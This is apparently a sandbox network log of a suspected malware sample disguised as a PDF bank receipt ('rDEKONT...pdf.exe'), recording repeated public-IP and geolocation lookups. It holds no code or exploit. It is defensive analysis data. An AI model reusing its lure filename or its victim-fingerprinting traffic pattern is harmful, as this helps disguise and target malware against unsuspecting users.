Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	193.122.6.168	80	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 04:02:02.527822971 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 04:02:03.203757048 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:03 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	193.122.6.168	80	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 04:02:03.921000957 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 04:02:04.547422886 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49720	193.122.6.168	80	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 04:02:05.175487995 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 04:02:05.810555935 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49722	193.122.6.168	80	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 04:02:06.454889059 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 04:02:07.090585947 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49724	193.122.6.168	80	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 04:02:07.720810890 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 04:02:08.375472069 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	104.21.96.1	443	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:01:58 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 03:01:58 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:01:58 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2224907 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GPs3RRakPDCaUJpah53jw8PwJNqrArtmofIuokv8kCyi1JJXrD26G7fd6KdfFgc0k1D0igP9tkcENfLXdRy3DIWyhHSM1taoO%2BuuXOkp5opziCGF%2Fl5sb4XJWb1SiCS9pJFBKzMu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90229fd21a07c32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1523&min_rtt=1523&rtt_var=572&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1913499&cwnd=178&unsent_bytes=0&cid=c4197857d27e5765&ts=181&x=0"
2025-01-15 03:01:58 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	104.21.96.1	443	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:01:59 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 03:01:59 UTC	863	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:01:59 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2224908 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r%2FG%2FHYwx6BTjSSFs6ajygYkdE2aJSJHEzTBc8ckWvwOObg6rr32Z5HRheoTCyet1eBqVKKyQE%2BH5yln%2BWf%2BvccW6r0%2B3UwyiGWY2YBC70uBizaglwicruwwHxoJRK059n7m5%2BIl7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90229fd888b542c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1718&min_rtt=1715&rtt_var=650&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1676234&cwnd=212&unsent_bytes=0&cid=960d25f6f1934a24&ts=141&x=0"
2025-01-15 03:01:59 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49712	104.21.96.1	443	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:02:01 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 03:02:01 UTC	861	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:01 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2224910 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gf2614GruCpusPUyCCiH1HowJWW%2FEW%2BPpcelFsC%2Bz7fUffp3EUfyRPjDxLmJUpf2QkyBSLeoz0heU53MAB%2FvFH72i%2FW4qlW410ojqB1507Di1G7YFaRGgVXFZxG8nKkmhk3%2BHOaf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90229fe18f384363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1542&min_rtt=1533&rtt_var=594&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1814791&cwnd=240&unsent_bytes=0&cid=d37898d95ccfb0bf&ts=317&x=0"
2025-01-15 03:02:01 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	104.21.96.1	443	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:02:02 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 03:02:02 UTC	861	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:02 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2224911 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A%2B7OZOBwyljxjWPaNw3WWuGLZWFVDxX%2BZXKVrHLN%2F4Trvomsuf7QStvkTEwfKe9VYbWPl%2BSBNBFMrub6eSTMcp5pz2tkdg%2FDtlohxHYA%2Bx7naq0reo7auS6GtatVddP83xWRAyOD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90229fe95953c32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2314&min_rtt=2260&rtt_var=886&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1292035&cwnd=178&unsent_bytes=0&cid=e196a732a11e2d2e&ts=140&x=0"
2025-01-15 03:02:02 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	104.21.96.1	443	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:02:03 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 03:02:03 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:03 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2224912 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AYGmx87xzEynAxg9mB490y2VXIGadxB3ykeT66hu5hqkNcPsB0yShWLbVkzfMvbs8afjd6Q6kxM3r%2FwQtd5C8C61u%2BJ6X9ogb4H5iHQJsJtnuCDbtBiDCJ4%2BPSDL5IUw0UadfnW0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90229ff16fab1a48-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&min_rtt=2013&rtt_var=770&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1406551&cwnd=157&unsent_bytes=0&cid=d821171098f83c93&ts=133&x=0"
2025-01-15 03:02:03 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	104.21.96.1	443	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:02:05 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 03:02:05 UTC	857	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:05 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2224914 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kyMh0nABf7IaTu9DByVm9BKdqU1UKOb0sFBMeXYmczzbaZMcYsrwqWobdCsdh5SWWGAqBdltrG4tU35nzCq85746v3%2Fy1QdhmQt%2Ber9AB2xJDAHerDt%2BJiIRGI1Z1tN7E%2B7HPgMa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90229ff9dd2972a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2026&min_rtt=2022&rtt_var=766&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1421616&cwnd=212&unsent_bytes=0&cid=0946f71fd8eda558&ts=166&x=0"
2025-01-15 03:02:05 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49721	104.21.96.1	443	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:02:06 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 03:02:06 UTC	857	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:06 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2224915 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I%2BX7PYUCtpBO6wTKfFx2BbZFpoFvhhpFJBrFqMYJYb2jn1t%2FtrFkLTbRLXzNvTmWJs%2BRe6hz2hbyZWWbVDaB5sOeY734uZ7mpnR165jFi8vKCXEzKqHZ%2FqgEmRyTCrh0iBLfYktK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9022a001be204363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1550&min_rtt=1543&rtt_var=593&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1825000&cwnd=240&unsent_bytes=0&cid=00bd30365a388c0b&ts=186&x=0"
2025-01-15 03:02:06 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49723	104.21.96.1	443	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:02:07 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 03:02:07 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:07 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2224916 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h5PmlVqzlcFNXbs%2FgqIReEt3PmOQiBLHL0GOplM8zR9ocXGeIyZwlkebzbpafFD4zMIgT3TBPX9NOK%2FG6Ybf9BuMQ49I7JEp9G4Jbo1DWYNut9zEAAToVnsioAkj9mZNJv83UIVh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9022a009c803c32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1515&min_rtt=1513&rtt_var=571&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1909744&cwnd=178&unsent_bytes=0&cid=78edc46c0e2acfee&ts=150&x=0"
